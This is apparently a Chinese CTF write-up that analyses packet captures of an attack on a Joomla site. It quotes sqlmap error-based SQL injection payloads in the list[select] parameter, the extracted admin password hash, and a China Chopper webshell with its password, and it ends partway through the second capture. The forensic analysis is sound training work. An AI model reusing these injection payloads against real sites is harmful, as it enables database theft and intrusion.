前言

由于自己赛区的铁三比赛在最后一场,于是利用闲暇时间做了一下别的赛区的题目,这里给出5月5号比赛的数据赛做题记录
题目分享:
链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4

题目描述

1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

第一个数据包

面对巨大的流量包,过滤格外重要,这里我们先过滤为http协议
可以看到202.1.1.2对192.168.1.8进行了疯狂的爆破
我们跟进一条数据,进行tcp流跟踪
GET/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(*'+(SELECT 'ZoHc'WHERE 1078=1078OR (SELECT2511FROM(SELECTCOUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(2511=2511,1))),0x716a717671,FLOOR(RAND(0)*2))xFROMINFORMATION_SCHEMA.PLUGINSGROUPBYx)a))+' HTTP/1.1 Accept-Encoding: gzip,deflate Host: 202.1.1.1:8000 Accept: */* User-Agent: sqlmap/1.1.3.2#dev (http://sqlmap.org) Connection: close Cache-Control: no-cache
不难看出,黑客利用sqlmap在对目标站点进行不断的sql注入试探
可以确定无误,受害主机的网卡IP地址即为192.168.1.8
而注入的参数也可以清晰的看见,为list[select]
再根据回显内容
Status: 500 You have an error in your SQL syntax;check themanual that correspondsto your MariaDBserverversionfor theright syntaxtouse near'*'+(SELECT'ZoHc'WHERE1078=1078OR (SELECT2511FROM(SELECTCOUNT(*),CONCAT(0x' at line 1 SQL=SELECT (*'+(SELECT'ZoHc'WHERE1078=1078OR (SELECT2511FROM(SELECTCOUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(2511=2511,1))),0x716a717671,FLOOR(RAND(0)*2))xFROM INFORMATION_SCHEMA.PLUGINSGROUPBY x)a))+',uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
目标站点数据库抛出的错误,可以清晰的看见
FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users
不难确定,目标站点的数据库表名前缀为ajtuc_
接着为了确定受害主机网站数据库的名字,我又进行了一次过滤
(ip.addr ==192.168.1.8|| ip.addr ==202.1.1.2) && http
此时挑选最后一次注入的payload进行解码
GET /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(UPDATEXML(6315,CONCAT(0x2e,0x71717a7671,(SELECTMID((IFNULL(CAST(usernameASCHAR),0x20)),1,22)FROM joomla.ajtuc_usersORDERBYidLIMIT0,1),0x71716b6b71),4235))
可以清楚的看到
FROMjoomla.ajtuc_users
可以马上确定,数据库名为joomla
为快速寻找后台管理员密码,我进行了如下筛选
(ip.addr ==192.168.1.8|| ip.addr ==202.1.1.2) && http contains"password" && http.request.method==POST
但是并没有找到有效登录
随机我想在sql注入中寻找密码
ip.dst == 192.168.1.8 && http contains"password"
三条信息分别回显
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECTMID((IFNULL(CAST(passwordASCHAR),0x20)),1,22)FROM joomla.ajtuc_usersORDERBYidLIMIT0,1),0x71716b6b71),7096)),uc.nameAS editorFROM`ajtuc_ucm_history`AS hLEFTJOIN ajtuc_usersAS ucON uc.id = h.editor_user_idWHERE`h`.`ucm_item_id` =1AND`h`.`ucm_type_id` =1ORDERBY`h`.`save_date`Status:500 XPATH syntaxerror:'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq'SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECTMID((IFNULL(CAST(passwordASCHAR),0x20)),23,22)FROM joomla.ajtuc_usersORDERBYidLIMIT0,1),0x71716b6b71),7939)),uc.nameAS editorFROM`ajtuc_ucm_history`AS hLEFTJOIN ajtuc_usersAS ucON uc.id = h.editor_user_idWHERE`h`.`ucm_item_id` =1AND`h`.`ucm_type_id` =1ORDERBY`h`.`save_date`Status:500 XPATH syntaxerror:'qqzvqzi/8B2QRD7qIlDJeqqkkq'SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECTMID((IFNULL(CAST(passwordASCHAR),0x20)),45,22)FROM joomla.ajtuc_usersORDERBYidLIMIT0,1),0x71716b6b71),3079)),uc.nameAS editorFROM`ajtuc_ucm_history`AS hLEFTJOIN ajtuc_usersAS ucON uc.id = h.editor_user_idWHERE`h`.`ucm_item_id` =1AND`h`.`ucm_type_id` =1ORDERBY`h`.`save_date`
可以看到数据
qqzvq$2y$10$lXujU7XaUviJDigqqkkq qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq qqzvqzi/8B2QRD7qIlDJeqqkkq
我们观察sql构造,发现具有前缀和后缀
0x71717a7671 0x71716b6b71
解码后得到
qqzvq qqkkq
我们去掉前缀和后缀,可以得到
$2y$10$lXujU7XaUviJDig FMzKy6.wx7EMCBqpzrJdn7 zi/8B2QRD7qIlDJe
于是我们可以得到完整的加密密码
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe
但是一直没有解密成功……有大师傅知道解法可以告诉我,thanks

第二个数据包

由于已确定目标ip,所以依旧使用以下过滤简化操作
(ip.addr ==192.168.1.8|| ip.addr ==202.1.1.2) && http
可以看到一个奇怪文件:
kkkaaa.php
我们跟进POST数据查看
不难发现,是中国菜刀的流量
小马密码为zzz
接着为确定黑客第二次上传php木马的时间
我进行了过滤,因为我猜想,黑客应该是根据第一个小马来上传的第二个小马
(ip.addr ==192.168.1.8|| ip.addr ==202.1.1.2) && http.request.method==POST
此时一条数据格外引人注目
我们对其16进制进行分析
将其保存为php文件
得到源码